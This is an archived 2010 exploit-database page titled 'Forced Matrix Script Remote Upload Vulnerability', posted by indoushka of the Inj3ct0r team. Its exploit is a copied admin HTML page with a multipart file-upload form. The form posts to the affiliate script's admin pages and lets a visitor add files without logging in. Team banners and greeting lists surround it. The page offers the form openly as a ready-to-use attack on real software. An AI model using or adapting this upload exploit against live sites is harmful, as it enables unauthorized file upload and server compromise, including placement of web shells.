[webapps / 0day] - Forced Matrix Script Remote Upload Vulner
Posted on 25 October 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Forced Matrix Script Remote Upload Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Forced Matrix Script Remote Upload Vulnerability by indoushka in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>================================================ Forced Matrix Script Remote Upload Vulnerability ================================================ 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' __ /'__` / \__ /'__` 0 0 /\_, ___ /\_/\_ ___ ,_/ / _ ___ 1 1 /_/ /' _ ` / /_/_\_<_ /'___ / /`'__ 0 0 / / / / \__/ \_ \_ / 1 1 \_ \_ \_\_ \____/ \____\ \__\ \____/ \_ 0 0 /_//_//_/ \_ /___/ /____/ /__/ /___/ /_/ 1 1 \____/ >> Exploit database separated by exploit 0 0 /___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ####################################### 1 0 I'm indoushka member from Inj3ct0r Team 1 1 ####################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 ######################################################################## # Vendor: www.vivaprograms.org # Date: 2010-07-27 # Author : indoushka # Thanks to : Dz-Ghost Team # Contact : http://www.hack-r1z.com/cc/ # Tested on : windows SP2 Francais V.(Pnx2 2.0) ######################################################################## # Exploit By indoushka ------------- <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> <link href="style.css" rel="stylesheet" type="text/css"> </head> <style> td { font-family:Verdana,Tahoma,Arial; font-size:12px; color:#000000; line-height:17px;} .menu { color:#ffffff; text-decoration:none; } .menu:hover { text-decoration:underline; } .right { font-size:10px; } input, textarea { background-color: #DFE3E9; border-bottom: #888888 1px solid; border-left: #888888 1px solid; border-right: #888888 1px solid; border-top: #888888 1px solid; color: #000000; font-family: verdana,tahoma; font-size: 10px;} .but {background-color:#32004B; border-bottom:#000000 1px solid; border-left: #000000 1px solid; border-right: #000000 1px solid; border-top: #000000 1px solid; cursor: hand; font-family: verdana, tahoma; font-size: 10px; font-weight: bold; color: #ffffff; } </style> <body bgcolor="#ffffff" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <div align="center"><img src="../images/Header2.jpg" width="727" height="147"><br> <font color="#FFFFFF">-</font><br> </div> <html> <head> <title>Manage soft</title> <meta http-equiv="Content-Type" content="text/html;"> <style type="text/css"> <!-- .ver { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: x-small; } .btn { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: xx-small; } --> </style> </head> <body> <center> <script language="JavaScript"> <!-- function jumpMenu(targ,selObj,restore){ eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'"); if (restore) selObj.selectedIndex=0; } //--> </script> <div align="center"> <select name="select" onChange="jumpMenu('parent',this,0)" align="top"> <option value="adminlogin.php" selected>Navigation Options</option> <option value="adminlogin.php">-------------</option> <option value="adminlogin.php">Main Menu</option> <option value="adminedit.php" >Modify Admin Login Details</option> <option value="admafflist.php" >List Current Affiliates</option> <option value="admpref.php" >Preferences</option> <option value="admbanners.php" >Banner and Text Link Setup</option> <option value="upload.php" >Manage Software Programs</option> <option value="admsubscr.php" >Manage Subscribtions</option> <option value="admitemset.php" >Affiliate Payment / Single Item Setup</option> <option value="admrefunds.php" >Cancel Payments / Refunds</option> <option value="adm-email-edit.php" >Customise emails to affiliates</option> <option value="admallaffmail.php" >Email all affiliates</option> <option value="admstartpages.php" >Customise affiliate start pages</option> <option value="adm-shift.php" >Shift Downline</option> <option value="addbanner.php" >Banners</option> </select> </tr> </table> <br><h2>Add another programm:</h2><br></div> <form action="" method="post" enctype="multipart/form-data" name="form1"> <div align="center"> <input type="hidden" name="add" value="true"> <input type="hidden" name="editid" value=""> <input type="hidden" name="edit" value=""> <table> <tr> <td>Title</td> <td><INPUT maxLength=250 size=40 name=title value=""></td> </tr> <tr> <td>Description</td> <td><INPUT maxLength=250 size=40 name=description value=""></td> </tr> <tr> <td>Price</td> <td>$ <INPUT maxLength=15 size=7 name=price value="0.00"></td> </tr> <tr> <td>File</td> <td><input type="file" name="file"> </td> </tr> </table> <br> <INPUT type=submit value="Add Item"> <INPUT type=reset value="Clear Form"> </div> </form> <br> <form method="post" action="http://127.0.0.1/forced_matrix_script/admin/adminlogin.php"> <input type="submit" name="Submit" value="Click here to return to Main Menu"> </form> </CENTER> </body> </html> Dz-Ghost Team ===== Saoucha * Star08 * Cyber Sec * theblind74 * XproratiX * onurozkan * n2n * Meher Assel =========================== special thanks to : r0073r (inj3ct0r.com) * L0rd CruSad3r * MaYur * MA1201 * KeDar * Sonic * gunslinger_ * SeeMe * RoadKiller Sid3^effects * aKa HaRi * His0k4 * Hussin-X * Rafik * Yashar * SoldierOfAllah * RiskY.HaCK * Stake * r1z * D4NB4R * www.alkrsan.net MR.SoOoFe * ThE g0bL!N * AnGeL25dZ * ViRuS_Ra3cH * Sn!pEr.S!Te --------------------------------------------------------------------------------------------------------------------------------- # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-25]</pre></body></html>
